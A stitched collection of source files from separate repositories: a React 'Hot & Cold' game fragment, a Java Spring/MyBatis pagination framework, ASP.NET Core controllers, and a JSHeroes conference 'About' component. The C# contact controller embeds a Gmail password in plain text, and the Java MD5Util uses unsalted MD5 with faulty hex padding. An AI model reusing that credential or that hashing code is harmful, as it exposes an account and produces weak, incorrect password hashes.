this.state.hot + ",0," + this.state.cold + ")" }) }) } // Distance Calculations: Simply using the pythagorean theorem to find the distance between two points. // Although I understand these calculations thoroughly, I am not claiming this code as my own idea. Found // it from a highly-upvoted answer to finding the distance between two HTML elements on Stack Overflow. getPositionAtCenter(element){ const {top, left, width, height} = element.getBoundingClientRect(); return { x: left + width / 2, y: top + height / 2 }; } getDistanceBetweenElements(a, b){ const aPosition = this.getPositionAtCenter(a); const bPosition = this.getPositionAtCenter(b); return Math.hypot(aPosition.x - bPosition.x, aPosition.y - bPosition.y); } // On Load: Initialize the CSS for my div that follows the mouse, and for my hidden div that they must find. // Originally tried to set #hidden to display: none but that did not work for setting its postion, so I just // made its background color white. windowOnLoad() { $('#mouse-location').css({ position: "absolute", "background-color": "blue", height: 50, width: 50, "border-style": "solid", "border-width": "0", "border-radius": 50, }) const yGeneration = Math.round(0 + Math.random() * (window.innerHeight - 2)) const xGeneration = Math.round(0 + Math.random() * (window.innerWidth - 2)) $('#hidden').css({ position: "absolute", height: 2, width: 2, "background-color" : "white", top: yGeneration, left: xGeneration, }); } render() { return ( <div className="App" id="app"> <h1> Hot & Cold </h1> <div id="mouse-location"></div> <div id="hidden"></div> </div> ); } } export default App;
0c322368784b0f50241959033cfb4e40e40fc798
[ "JavaScript" ]
1
JavaScript
Feauv/Hot-And-Cold
bdf39ad1c78d6f595c19acd17403b0bc9e725595
869b8588eb7d649b06488733e2a68951638ecc19
refs/heads/master
<file_sep>package com.monee1988.core.web.context; import javax.servlet.ServletContext; import org.springframework.web.context.ContextLoaderListener; import org.springframework.web.context.WebApplicationContext; import com.monee1988.core.util.Global; public class MoneeContextLister extends ContextLoaderListener { @Override public WebApplicationContext initWebApplicationContext(ServletContext servletContext) { StringBuilder builder = new StringBuilder(); builder.append("============================================================================\n\n"); builder.append(" Welcome to use MoneePlatFrom Copyright © 2015-2016 "+ Global.getCompanyName()+" All Rights Reserved\n\n"); builder.append("============================================================================"); System.out.println(builder); return super.initWebApplicationContext(servletContext); } } <file_sep>package com.monee1988.core.util; import org.springframework.beans.BeansException; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.BeanFactoryAware; /** * 获取Spring容器中Bean实例的工具类(Java泛型方法实现)。 */ public class SpringBeanUtils implements BeanFactoryAware { private static BeanFactory beanFactory; /** * 注入BeanFactory实例 */ public void setBeanFactory(BeanFactory beanFactory) throws BeansException { setBeanFactoryValue(beanFactory); } private void setBeanFactoryValue(BeanFactory beanFactory) { SpringBeanUtils.beanFactory = beanFactory; } /** * 根据bean的名称获取相应类型的对象 * * @param beanName * bean的名称 * @return Object类型的对象 */ public static Object getBean (String beanName) { return beanFactory.getBean(beanName); } /** * 根据bean的名称获取相应类型的对象,使用泛型,获得结果后,不需要强制转换为相应的类型 * * @param clazz * bean的类型,使用泛型 * @return T类型的对象 */ public static <T> T getBean (Class<T> clazz) { return beanFactory.getBean(clazz); } public static <T> T getBean (Class<T> clazz,String beanName) { return beanFactory.getBean(beanName, clazz); } }<file_sep>/** * @(#){MD5Util}.java 1.0 {15/12/26} * * Copyright 2015 <EMAIL>, All rights reserved. * Use is subject to license terms. * https://github.com/monee1988/SpringMybatisWebInterceptor */ package com.monee1988.core.util; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.UUID; /** * Created by codePWX on 15-12-26. * desc: */ public class MD5Util { public static String getMD5(String originString){ String result=""; try { // 指定加密的方式为MD5 MessageDigest md = MessageDigest.getInstance("MD5"); // 进行加密运算 byte bytes[] = md.digest(originString.getBytes()); for (int i = 0; i < bytes.length; i++) { // 将整数转换成十六进制形式的字符串 这里与0xff进行与运算的原因是保证转换结果为32位 String str = Integer.toHexString(bytes[i] & 0xFF); if (str.length() == 1) { str += "F"; } result += str; } } catch (NoSuchAlgorithmException e) { e.printStackTrace(); } return result; } public static String createId(){ return String.valueOf(UUID.randomUUID()).replaceAll("-", ""); } public static void main(String[] args){ System.out.print(getMD5("adminpassword")); } } <file_sep>/** * @(#){Page}.java 1.0 {15/12/26} * * Copyright 2015 <EMAIL>, All rights reserved. * Use is subject to license terms. * https://github.com/monee1988/SpringMybatisWebInterceptor */ package com.monee1988.core.entity; import java.io.Serializable; import java.util.ArrayList; import java.util.List; import java.util.Map; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.springframework.util.StringUtils; /** * 分页对象 * Created by codePWX on 15-12-26. * @param <T> Page中记录的类型. */ public class Page<T> implements Serializable{ /** * */ private static final long serialVersionUID = 1L; /*公共变量 默认正序**/ public static final String ASC = "asc"; /*公共变量 默认倒序*/ public static final String DESC = "desc"; /*默认的分页页码容量*/ public static final int DEFAULT_PAGESIZE =10; /*默认页码*/ public static final int DEFAULT_PAGENO= 1; /*页码*/ protected int pageNo = DEFAULT_PAGENO; /*每一页数据容量*/ protected int pageSize = DEFAULT_PAGESIZE; /*排序*/ protected String orderBy = null; /*排序方式*/ protected String order = null; protected boolean autoCount = true; /*显示的页码列表的开始索引*/ private int startPageIndex; /*显示的页码列表的结束索引*/ private int endPageIndex; /*总页数*/ private int pageCount; private Map<?,?> extend; // page扩展信息 /*返回结果*/ private List<T> resultList = new ArrayList<T>(); /*总记录数*/ private long totalCount = -1; /*当前查询的SQL*/ private String sql; public Page() { } public Page<T> end() { // 1, 总页�? pageCount = ((int) this.totalCount + pageSize - 1) / pageSize; // 2, startPageIndex(显示的页码列表的开始索引)与endPageIndex(显示的页码列表的结束索引) // a, 总页码不大于10�? if (pageCount <= 10) { startPageIndex = 1; endPageIndex = pageCount; } // b, 总码大于10�? else { // 在中间,显示前面4个,后面5�? startPageIndex = pageNo - 4; endPageIndex = pageNo + 5; // 前面不足4个时,显示前10个页�? if (startPageIndex < 1) { startPageIndex = 1; endPageIndex = 10; } // 后面不足5个时,显示后10个页�? else if (endPageIndex > pageCount) { endPageIndex = pageCount; startPageIndex = pageCount - 10 + 1; } } return this; } public Page(int pageSize) { this.pageSize = pageSize; } public Page(int pageNo, int pageSize) { this.pageNo = pageNo; this.pageSize = pageSize; } public Page(int pageNo, int pageSize, int totalCount) { this.pageNo = pageNo; this.pageSize = pageSize; this.totalCount = totalCount; } //-- 分页参数访问函数 --// public Page(HttpServletRequest request, HttpServletResponse response) { request.getParameterMap(); String pageNoStr = request.getParameter("pageNo"); String pageSizeStr = request.getParameter("pageSize"); if (!StringUtils.isEmpty(pageNoStr)&&!"null".equals(pageNoStr)) { this.pageNo = Integer.valueOf(pageNoStr); }else{ this.pageNo = DEFAULT_PAGENO; } if (!StringUtils.isEmpty(pageSizeStr)&&!"null".equals(pageSizeStr)) { this.pageSize = Integer.valueOf(pageSizeStr); }else{ this.pageSize = DEFAULT_PAGESIZE; } } /** * 获得当前页的页号 */ public int getPageNo() { return pageNo; } /** * 设置当前页的页号,低于1时自动调整为1. */ public void setPageNo(final int pageNo) { this.pageNo = pageNo; if (pageNo < 1) { this.pageNo = 1; } } /** * 返回Page对象自身的setPageNo函数,可用于连续设置�? */ public Page<T> pageNo(final int thePageNo) { setPageNo(thePageNo); return this; } /** * 获得每页的记录数默认1. */ public int getPageSize() { return pageSize; } /** * 设置每页的记录数 */ public void setPageSize(final int pageSize) { this.pageSize = pageSize; } /** * 返回Page对象自身的setPageSize函数,可用于连续设置�? */ public Page<T> pageSize(final int thePageSize) { setPageSize(thePageSize); return this; } /** * 根据pageNo和pageSize计算当前页第�?��记录在�?结果集中的位�?序号�?�?��. */ public int getFirst() { return ((pageNo - 1) * pageSize) + 1; } /** * 获得排序字段,无默认�?. 多个排序字段时用','分隔. */ public String getOrderBy() { return orderBy; } /** * 设置排序字段,多个排序字段时用','分隔. */ public void setOrderBy(final String orderBy) { this.orderBy = orderBy; } /** * 返回Page对象自身的setOrderBy函数,可用于连续设置�? */ public Page<T> orderBy(final String theOrderBy) { setOrderBy(theOrderBy); return this; } /** * 获得排序方向, 无默认�?. */ public String getOrder() { return order; } /** * 设置排序方式�? * * @param order 可�?值为desc或asc,多个排序字段时用','分隔. */ public void setOrder(final String order) { String lowcaseOrder = String.valueOf(order).toLowerCase(); //�?��order字符串的合法�? // String[] orders = lowcaseOrder.split(lowcaseOrder, ','); // for (String orderStr : orders) { // if (!DESC.equals(orderStr) && !ASC.equals( orderStr)) { // throw new IllegalArgumentException(" " + orderStr + " "); // } // } this.order = lowcaseOrder; } /** * 返回Page对象自身的setOrder函数,可用于连续设置�? */ public Page<T> order(final String theOrder){ setOrder(theOrder); return this; } /** * 是否已设置排序字�?无默认�?. */ public boolean isOrderBySetted() { return (!StringUtils.isEmpty(orderBy) && !StringUtils.isEmpty(order)); } /** * 获得查询对象时是否先自动执行count查询获取总记录数, 默认为false. */ public boolean isAutoCount() { return autoCount; } /** * 设置查询对象时是否自动先执行count查询获取总记录数. */ public void setAutoCount(final boolean autoCount) { this.autoCount = autoCount; } /** * 返回Page对象自身的setAutoCount函数,可用于连续设置�? */ public Page<T> autoCount(final boolean theAutoCount) { setAutoCount(theAutoCount); return this; } public List<T> getResultList() { return resultList; } public void setResultList(List<T> resultList) { this.resultList = resultList; } public long getTotalCount() { return totalCount; } public void setTotalCount(long totalCount) { this.totalCount = totalCount; } /** * 根据pageSize与totalCount计算总页�? 默认值为-1. */ public long getTotalPages() { if (totalCount < 0) { return -1; } long count = totalCount / pageSize; if (totalCount % pageSize > 0) { count++; } return count; } /** * 是否还有下一页 */ public boolean isHasNext() { return (pageNo + 1 <= getTotalPages()); } /** * 取得下页的页码 * 当前页为尾页时仍返回尾页序号. */ public int getNextPage() { if (isHasNext()) { return pageNo + 1; } else { return pageNo; } } /** * 是否还有上一页 */ public boolean isHasPre() { return (pageNo - 1 >= 1); } /** * 取得上页的页码 * 当前页为首页时返回首页序�? */ public int getPrePage() { if (isHasPre()) { return pageNo - 1; } else { return pageNo; } } /** * 根据pageNo和pageSize计算当前页第�?��记录在�?结果集中的位�?序号�?�?��. * 用于Mysql,Hibernate. */ public int getOffset() { return ((pageNo - 1) * pageSize); } /** * 根据pageNo和pageSize计算当前页第�?��记录在�?结果集中的位�?序号�?�?��. * 用于Oracle. */ public int getStartRow() { return getOffset() + 1; } /** * 根据pageNo和pageSize计算当前页最后一条记录在总结果集中的位置, 序号�?�?��. * 用于Oracle. */ public int getEndRow() { return pageSize * pageNo; } public int getStartPageIndex() { return startPageIndex; } public void setStartPageIndex(int startPageIndex) { this.startPageIndex = startPageIndex; } public int getEndPageIndex() { return endPageIndex; } public void setEndPageIndex(int endPageIndex) { this.endPageIndex = endPageIndex; } public int getPageCount() { return pageCount; } public void setPageCount(int pageCount) { this.pageCount = pageCount; } public Map<?,?> getExtend() { return extend; } public void setExtend(Map<?,?> extend) { this.extend = extend; } public String getSql() { return sql; } public void setSql(String sql) { this.sql = sql; } }<file_sep>/** * @(#){BaseServiceImpl}.java 1.0 {15/12/26} * * Copyright 2015 <EMAIL>, All rights reserved. * Use is subject to license terms. * https://github.com/monee1988/SpringMybatisWebInterceptor */ package com.monee1988.core.service.impl; import com.monee1988.core.dao.BaseDao; import com.monee1988.core.entity.Account; import com.monee1988.core.entity.BaseBean; import com.monee1988.core.entity.Page; import com.monee1988.core.service.BaseService; import org.springframework.beans.factory.annotation.Autowired; import java.io.Serializable; import java.util.LinkedList; import java.util.List; /** * Created by codePWX on 15-12-26. * desc: */ public class BaseServiceImpl<T extends BaseBean<T>,PK extends Serializable,Dao extends BaseDao<T, PK>> implements BaseService<T,PK>{ @Autowired protected Dao dao; /** * 分页查询实现 */ public Page<T> findPage(Page<T> page, T t) { t.setPage(page); page.setResultList(findList(t)); return page; } /** * 集合查询实现 */ public List<T> findList(T t) { return dao.findList(t); } /** * 单实体查询实现 */ public T findEntity(PK id) { return dao.findEntityById(id); } /** * 根据主键删除数据 */ public int deleteEntityById(PK id) { return dao.deleteById(id); } /** * 根据主键集合删除数据 */ public int deleteEntityByIds(List<PK> ids) { return dao.deleteByIds(ids); } /** * 根据外键删除数据 */ public int deleteEntityByFid(PK pid) { return dao.deleteByPId(pid); } /** * 新增数据 */ public int insertEntity(T t, Account account) { t.preInsert(account); return dao.saveEntity(t); } /** * 批量新增数据 */ public int insertBachEntity(List<T> ts, Account account) { List<T> datas = new LinkedList<T>(); for (T t : ts) { t.preInsert(account); datas.add(t); } return dao.saveBatch(datas); } /** * 更新数据 */ public int updateEntity(T t, Account account) { t.preUpdate(account); return dao.updateEntity(t); } } <file_sep>/** * @(#){PageInterceptor}.java 1.0 {15/12/26} * * Copyright 2015 <EMAIL>, All rights reserved. * Use is subject to license terms. * https://github.com/monee1988/SpringMybatisWebInterceptor */ package com.monee1988.core.mybatis.pageinterceptor; import cn.org.rapid_framework.ibatis3.plugin.OffsetLimitInterceptor; import cn.org.rapid_framework.jdbc.dialect.Dialect; import com.monee1988.core.entity.Page; import org.apache.ibatis.executor.CachingExecutor; import org.apache.ibatis.executor.Executor; import org.apache.ibatis.executor.parameter.ParameterHandler; import org.apache.ibatis.mapping.BoundSql; import org.apache.ibatis.mapping.MappedStatement; import org.apache.ibatis.mapping.MappedStatement.Builder; import org.apache.ibatis.mapping.ParameterMapping; import org.apache.ibatis.mapping.SqlSource; import org.apache.ibatis.plugin.Interceptor; import org.apache.ibatis.plugin.Intercepts; import org.apache.ibatis.plugin.Invocation; import org.apache.ibatis.plugin.Signature; import org.apache.ibatis.scripting.defaults.DefaultParameterHandler; import org.apache.ibatis.session.ResultHandler; import org.apache.ibatis.session.RowBounds; import org.apache.ibatis.transaction.Transaction; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.ReflectionUtils; import java.lang.reflect.Field; import java.sql.Connection; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; import java.util.List; import java.util.Map; import java.util.Properties; import java.util.StringTokenizer; /** * * 扩展修改OffsetLimitInterceptor分页拦截器 * * <pre> * &lt;property name="plugins"> * &lt;array> * &lt;!-- 分页拦截器 --> * &lt;bean class="com.platform.mybatis.pageinterceptor.PageInterceptor"> * &lt;property name="dialectClass" value="cn.org.rapid_framework.jdbc.dialect.MySQLDialect"/> * &lt;/bean> * &lt;/array> * &lt;/property> * </pre> * * @author codePwx * @time 2015-12-21 * */ @Intercepts({@Signature(type = Executor.class, method = "query", args = {MappedStatement.class,Object.class,RowBounds.class,ResultHandler.class})}) public class PageInterceptor extends OffsetLimitInterceptor implements Interceptor { private Logger logger =LoggerFactory.getLogger(getClass()); protected static final String PAGE = "page"; protected static int MAPPED_STATEMENT_INDEX = 0; protected static int PARAMETER_INDEX = 1; protected static int ROWBOUNDS_INDEX = 2; protected static int RESULT_HANDLER_INDEX = 3; protected Dialect dialect; public Object intercept(Invocation invocation) throws Throwable { processMybatisIntercept(invocation.getArgs(),invocation); return invocation.proceed(); } void processMybatisIntercept(final Object[] queryArgs,Invocation invocation) { MappedStatement ms = (MappedStatement) queryArgs[MAPPED_STATEMENT_INDEX]; Object parameter = queryArgs[PARAMETER_INDEX]; Page<?> page = null; if(parameter !=null){ page = convertParameter(page,parameter); } if (dialect.supportsLimit() && page !=null) { BoundSql boundSql = ms.getBoundSql(parameter); String sql = boundSql.getSql().trim(); final RowBounds rowBounds = (RowBounds) queryArgs[ROWBOUNDS_INDEX]; int offset = rowBounds.getOffset(); int limit = rowBounds.getLimit(); offset = page.getOffset(); limit = page.getPageSize(); CachingExecutor executor = (CachingExecutor) invocation.getTarget(); Transaction transaction = executor.getTransaction(); try { Connection connection = transaction.getConnection(); /** * 查询总记录数 */ this.setTotalRecord(page, ms, connection,parameter); } catch (SQLException e) { e.printStackTrace(); } if (dialect.supportsLimitOffset()) { sql = dialect.getLimitString(sql, offset, limit); offset = RowBounds.NO_ROW_OFFSET; } else { sql = dialect.getLimitString(sql, 0, limit); } limit = RowBounds.NO_ROW_LIMIT; queryArgs[ROWBOUNDS_INDEX] = new RowBounds(offset, limit); BoundSql newBoundSql = copyFromBoundSql(ms, boundSql, sql); MappedStatement newMs = copyFromMappedStatement(ms, new BoundSqlSqlSource(newBoundSql)); queryArgs[MAPPED_STATEMENT_INDEX] = newMs; } } /** * * @param page * @param mappedStatement * @param connection * @param parameterObject */ private void setTotalRecord(Page<?> page, MappedStatement mappedStatement, Connection connection, Object parameterObject) { BoundSql boundSql = mappedStatement.getBoundSql(parameterObject); String sql = boundSql.getSql(); String countSql = removeBreakingWhitespace(this.getCountSql(sql)); List<ParameterMapping> parameterMappings = boundSql.getParameterMappings(); BoundSql countBoundSql = new BoundSql(mappedStatement.getConfiguration(), countSql, parameterMappings, parameterObject); ParameterHandler parameterHandler = new DefaultParameterHandler(mappedStatement, parameterObject, countBoundSql); PreparedStatement pstmt = null; ResultSet rs = null; logger.debug("Total count SQL [{}] ", countSql.toString()); logger.debug("Total count Parameters: {} ", parameterObject); try { pstmt = connection.prepareStatement(countSql); parameterHandler.setParameters(pstmt); rs = pstmt.executeQuery(); if (rs.next()) { int totalRecord = rs.getInt(1); logger.debug("Total count: {}", totalRecord); page.setTotalCount(totalRecord); } } catch (SQLException e) { e.printStackTrace(); } finally { try { if (rs != null) rs.close(); if (pstmt != null) pstmt.close(); } catch (SQLException e) { e.printStackTrace(); } } } /** * @param sql * @return */ private String getCountSql(String sql) { return "select count(1) from (" + sql + ") AS total"; } /** * @param page * @param parameter * @return */ private Page<?> convertParameter(Page<?> page, Object parameter) { if (parameter instanceof Page<?>) { return (Page<?>) parameter; } if(parameter instanceof Map<?, ?>){ return (Page<?>) ((Map<?,?>) parameter).get(PAGE); } return currentGetFiled(parameter, PAGE); } private BoundSql copyFromBoundSql(MappedStatement ms, BoundSql boundSql, String sql) { BoundSql newBoundSql = new BoundSql(ms.getConfiguration(), sql, boundSql.getParameterMappings(), boundSql.getParameterObject()); for (ParameterMapping mapping : boundSql.getParameterMappings()) { String prop = mapping.getProperty(); if (boundSql.hasAdditionalParameter(prop)) { newBoundSql.setAdditionalParameter(prop, boundSql.getAdditionalParameter(prop)); } } return newBoundSql; } // see: MapperBuilderAssistant private MappedStatement copyFromMappedStatement(MappedStatement ms, SqlSource newSqlSource) { Builder builder = new MappedStatement.Builder(ms.getConfiguration(), ms.getId(), newSqlSource, ms.getSqlCommandType()); builder.resource(ms.getResource()); builder.fetchSize(ms.getFetchSize()); builder.statementType(ms.getStatementType()); builder.keyGenerator(ms.getKeyGenerator()); builder.timeout(ms.getTimeout()); builder.parameterMap(ms.getParameterMap()); builder.resultMaps(ms.getResultMaps()); builder.resultSetType(ms.getResultSetType()); builder.cache(ms.getCache()); builder.flushCacheRequired(ms.isFlushCacheRequired()); builder.useCache(ms.isUseCache()); return builder.build(); } @Override public void setProperties(Properties properties) { super.setProperties(properties); } /** * @param dialectClass * the dialectClass to set */ public void setDialectClass(String dialectClass) { try { dialect = (Dialect) Class.forName(dialectClass).newInstance(); } catch (Exception e) { throw new RuntimeException("cannot create dialect instance by dialectClass:" + dialectClass, e); } logger.debug(this.getClass().getSimpleName()+ ".dialect=[{}]", dialect.getClass().getSimpleName()); } /** * @return * */ private static Page<?> currentGetFiled(Object object,String param) { Field pageField= ReflectionUtils.findField(object.getClass(), param); try { boolean accessible = pageField.isAccessible(); pageField.setAccessible(Boolean.TRUE); Page<?> page = (Page<?>) pageField.get(object); pageField.setAccessible(accessible); if(page!=null){ return page; } } catch (Exception e) { return null; } return null; } protected String removeBreakingWhitespace(String original) { StringTokenizer whitespaceStripper = new StringTokenizer(original); StringBuilder builder = new StringBuilder(); while (whitespaceStripper.hasMoreTokens()) { builder.append(whitespaceStripper.nextToken()); builder.append(" "); } return builder.toString(); } }<file_sep>/** * @(#){BaseService}.java 1.0 {15/12/26} * * Copyright 2015 <EMAIL>, All rights reserved. * Use is subject to license terms. * https://github.com/monee1988/SpringMybatisWebInterceptor */ package com.monee1988.core.service; import com.monee1988.core.entity.Account; import com.monee1988.core.entity.Page; import java.io.Serializable; import java.util.List; /** * Created by codePWX on 15-12-26. * desc: Service逻辑处理基本接口 */ public interface BaseService<T,PK extends Serializable> { /** * 分页查询 * @param page * @param t * @return */ public Page<T> findPage(Page<T> page, T t); /** * 根据参数查询集合 * @param t 参数对象 * @return */ public List<T> findList(T t); /** * 查询 * @param id 主键id * @return */ public T findEntity(PK id); /** * 删除对象 * @param id 主键Id * @return */ public int deleteEntityById(PK id); /** * 删除对象 * @param ids 主键数组 * @return */ public int deleteEntityByIds(List<PK> ids); /** * 删除对象 * @param pid 外键 * @return */ public int deleteEntityByFid(PK pid); /** * 新增对象 * @param t * @return */ public int insertEntity(T t,Account account); /** * 批量新增数据 * @param ts 对象集合 * @return */ public int insertBachEntity(List<T> ts,Account account); /** * 修改对象 * @param t 参数对象 * @return */ public int updateEntity(T t,Account account); } <file_sep>package com.monee1988.core.entity; import com.monee1988.core.util.Reflections; import com.monee1988.core.util.StringUtils; public abstract class TreeBean<T> extends BaseBean<T> { /** * */ private static final long serialVersionUID = 1L; protected T parent; protected String parentCodes; protected Integer sorts; protected String hasnext; protected Integer sortGrade; protected String pid; protected Boolean isQueryChildren; public static final String ROOT_CODE = "0"; public TreeBean() { this.sorts = Integer.valueOf(30); this.isQueryChildren = Boolean.valueOf(true); } public TreeBean(String id) { super(id); } public abstract T getParent(); public abstract void setParent(T paramT); public String getParentCode() { String id = null; if (this.parent != null) { id = (String) Reflections.invokeGetter(this.parent, "id"); } return id; } @SuppressWarnings("unchecked") public void setParentCode(String parentCode) { if (this.parent == null) { try { this.parent = (T) getClass().newInstance(); } catch (Exception e) { e.printStackTrace(); } } Reflections.invokeSetter(this.parent, "id", parentCode); } public String getParentCodes() { return this.parentCodes; } public void setParentCodes(String parentCodes) { this.parentCodes = parentCodes; } public Integer getSorts() { return this.sorts; } public void setSorts(Integer sorts) { this.sorts = sorts; } public String getHasnext() { return this.hasnext; } public void setHasnext(String hasnext) { this.hasnext = hasnext; } public Integer getSortGrade() { if ((this.hasnext != null) && (this.sortGrade == null)) { this.sortGrade = (this.parentCodes != null ? Integer .valueOf(this.parentCodes.replaceAll("[^,]", "").length() - 1) : null); } return this.sortGrade; } public void setSortGrade(Integer sortGrade) { this.sortGrade = sortGrade; } public Boolean getIsLeaf() { if (this.hasnext != null) { return Boolean.valueOf(!"1".equals(this.hasnext)); } return null; } public String getPid() { if ((this.pid == null) || (StringUtils.isBlank(this.pid))) { String id = getParentCode(); this.pid = (StringUtils.isNotBlank(id) ? id : "0"); } return this.pid; } public void setPid(String pid) { this.pid = pid; } public boolean getIsRoot() { return "0".equals(getPid()); } public Boolean getIsQueryChildren() { return this.isQueryChildren; } public void setIsQueryChildren(Boolean isQueryChildren) { this.isQueryChildren = isQueryChildren; } } <file_sep>package com.monee1988.core.util; import java.io.File; import java.io.IOException; import java.util.LinkedHashMap; import java.util.Map; import org.apache.commons.lang.StringUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.core.io.DefaultResourceLoader; import com.alibaba.fastjson.JSON; /** * 全局属性配置读取 * @author root * */ public class Global{ private static Logger logger = LoggerFactory.getLogger(Global.class); /** * 当前对象实例 */ private static Global global = new Global(); private static Map<String, String> map = new LinkedHashMap<String, String>(); public static Global getInstance(){ return global; } /** * 获取系统管理根路径 * @return */ public static String getAdminPath(){ return getConfig("adminPath"); } /** * 获取配置值 * @param key * @return value * ${fns:getConfig('adminPath')} */ public static String getConfig(String key) { String value = map.get(key); if (value == null){ value = ConfigUtil.getStringValue(key); map.put(key, value != null ? value : StringUtils.EMPTY); } return value; } /** * 获取配置值 * @param key 参数Key * @param defaultValue 默认值 * @return value */ public static String getConfig(String key, String defaultValue) { String value = getConfig(key); if(StringUtils.isEmpty(value)) return defaultValue; return value; } /** * 将Object转换为JSONString * @param object * @return */ public static String toJsonString(Object object) { try { return JSON.toJSONString(object); } catch (Exception e) { logger.warn("write to json string error:" + object, e); } return null; } public static String getProjectPath() { // 如果配置了工程路径,则直接返回,否则自动获取。 String projectPath = Global.getConfig("projectPath"); if (StringUtils.isNotBlank(projectPath)){ return projectPath; } try { File file = new DefaultResourceLoader().getResource("").getFile(); if (file != null){ while(true){ File f = new File(file.getPath() + File.separator + "src" + File.separator + "main"); if (f == null || f.exists()){ break; } if (file.getParentFile() != null){ file = file.getParentFile(); }else{ break; } } projectPath = file.toString(); } } catch (IOException e) { e.printStackTrace(); } return projectPath; } public static int getRetryTime() { String times = getConfig("retrytime", "5"); try { Integer systemRetryTime = Integer.valueOf(times); return systemRetryTime.intValue(); } catch (Exception ex) { ex.fillInStackTrace(); } return 5; } public static String getCompanyName() { return getConfig("projectName", "Monee"); } } <file_sep>package com.monee1988.core.util; import java.io.InputStream; import net.sf.ehcache.Cache; import net.sf.ehcache.CacheManager; import net.sf.ehcache.Element; public class CacheUtil { private static CacheManager CACHE_MANAGER; private static CacheUtil cacheUtil = new CacheUtil(); public static CacheUtil getInstance(String file) { InputStream inputStream = CacheUtil.class.getResourceAsStream(file); if (inputStream != null) { try { CacheManager cacheManager = CacheManager.create(inputStream); CACHE_MANAGER = cacheManager; return cacheUtil; } catch (Throwable t) { return getInstance(); } } return getInstance(); } public static CacheUtil getInstance() { try { CacheManager cacheManager = CacheManager.create(); CACHE_MANAGER = cacheManager; } catch (Throwable t) { CacheManager cacheManager = CacheManager.create(); CACHE_MANAGER = cacheManager; } return cacheUtil; } public void put(String cacheName, String key, Object value) { Cache cache = CACHE_MANAGER.getCache(cacheName); if (value == null) cache.remove(key); else cache.put(new Element(key, value)); } public static Object get(String cacheName, String key) { Cache cache = CACHE_MANAGER.getCache(cacheName); Element element = cache.get(key); if (element == null) { return null; } return element.getObjectValue(); } public void flush(String cacheName, String key) { Cache cache = CACHE_MANAGER.getCache(cacheName); cache.remove(key); } }
c4238767f4e7cb94043189817bfd6214cf52a97a
[ "Java" ]
10
Java
monee1988/SpringMybatisWebInterceptor
186ccb3565373dc2d03a70570660a2b3959bb2cc
2228b28eee76bfe79a17513ab85f5ad3dc6698dd
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using CoreMVC.Models; using System.Net.Mail; using System.Text; using System.Net; namespace CoreMVC.Controllers { public class ContentController : Controller { public IActionResult Jager() { ViewBag.Message = "A page for das Jäger"; return View(); } } } <file_sep>using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using CoreMVC.Models; using System.Net.Mail; using System.Text; using System.Net; namespace CoreMVC.Controllers { public class SupportController : Controller { // GET: Support/AffiliateNotifications public ActionResult AffiliateNotifications(string submit) { return View(); } public ActionResult Contact() { return View(); } [HttpPost] public IActionResult Contact(ContactViewModel e) { if (ModelState.IsValid) { //prepare email var toAddress = "<EMAIL>"; var fromAddress = e.Email.ToString(); var subject = "Website contact form send you a message from: " + e.Name; var message = new StringBuilder(); message.Append("Name: " + e.Name + "\n"); message.Append("Email: " + e.Email + "\n"); message.Append("Subject: " + e.Subject + "\n"); //message.Append("Telephone: " + e.Telephone + "\n\n"); message.Append(e.Message); MailMessage mailMessage = new MailMessage(toAddress, "<EMAIL>", subject, message.ToString()); SmtpClient smtpClient = new SmtpClient("smtp.gmail.com", 587); smtpClient.EnableSsl = true; smtpClient.UseDefaultCredentials = false; smtpClient.Credentials = new NetworkCredential(toAddress, "awqeocolycbwsxas"); //awqeocolycbwsxas try { smtpClient.Send(mailMessage); ViewBag.Message = "Thank you for your message."; } catch (Exception) { ViewBag.Message = $"Sorry we are facing Problem here. The message was not sent."; // dev version ViewBag.Message = $" Sorry we are facing Problem here {ex.Message}"; } ModelState.Clear(); } return View(); } public IActionResult Error() { return View(new ErrorViewModel { RequestId = Activity.Current?.Id ?? HttpContext.TraceIdentifier }); } } } <file_sep>using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Mvc; using CoreMVC.Models; using System.Net.Mail; using System.Text; using System.Net; namespace CoreMVC.Controllers { public class HomeController : Controller { includeData incData = new includeData(); public IActionResult Index() { ViewBag.Date = incData.dateTimeReturn(); return View(); } public IActionResult About() { ViewData["Message"] = "Your application description page."; return View(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace CoreMVC.Models { public class includeData { public string dateTimeReturn() { return DateTime.Now.ToString("yyyy:MMdd:HHmmss"); } } }
e5ae69cbb74f5491e23d7581f2c16d715f24be64
[ "C#" ]
4
C#
rashcraft/RVACore
e2bfb9aa431dfb7d375e34bc0c9600ffd57bacbc
b86163e1841ae37a1988f5ab60c2aaa10ac60ca4
refs/heads/master
<repo_name>hetmann/jsheroes.io<file_sep>/app/components/about.js import Container from '../components/container' import { mediaQueries } from '../constants' const About = () => ( <Container style={{ minHeight: 800 }}> <Style /> <div id="about" className="about-section section-padding"> <div className="about-content text-center"> <h2>About Our Event</h2> <p> We’re planning for <b>JSHeroes</b> to be the biggest tech Conference in Romania, dedicated solely to JavaScript. We’ll get our engine going with <b>20 international JavaScript experts</b> and we’ve chosen a venue that allows a crowd of up to <b>500 attendees</b>. </p> <p> We kick-started the Cluj JavaScripters community in August 2015. Since then we’ve grown to <b>900+ members</b> and formed one of the most active knowledge sharing groups worldwide. We organized <b>more than 42 Meetups and Trainings</b> for the JS community in Cluj. So far we <b>partnered with technical conferences</b> to deliver high-quality JS knowledge and held an entire conference track for CodeCamp. What can we say, it was a full-house track and it was brilliant! </p> <p> JSHeroes is one of our dreams and the high point of an active community; we’re truly engaged to see it come true. <b>We know it’s a stretch</b> and it might seem crazy to organize an event of this international scale. We’ve considered all the risks and each of us decided to take personal ownership for it so that our local Cluj JavaScripters community evolves into a <b>global JSHeroes community</b>. </p> </div> </div> </Container> ) const Style = () => ( <style jsx>{` 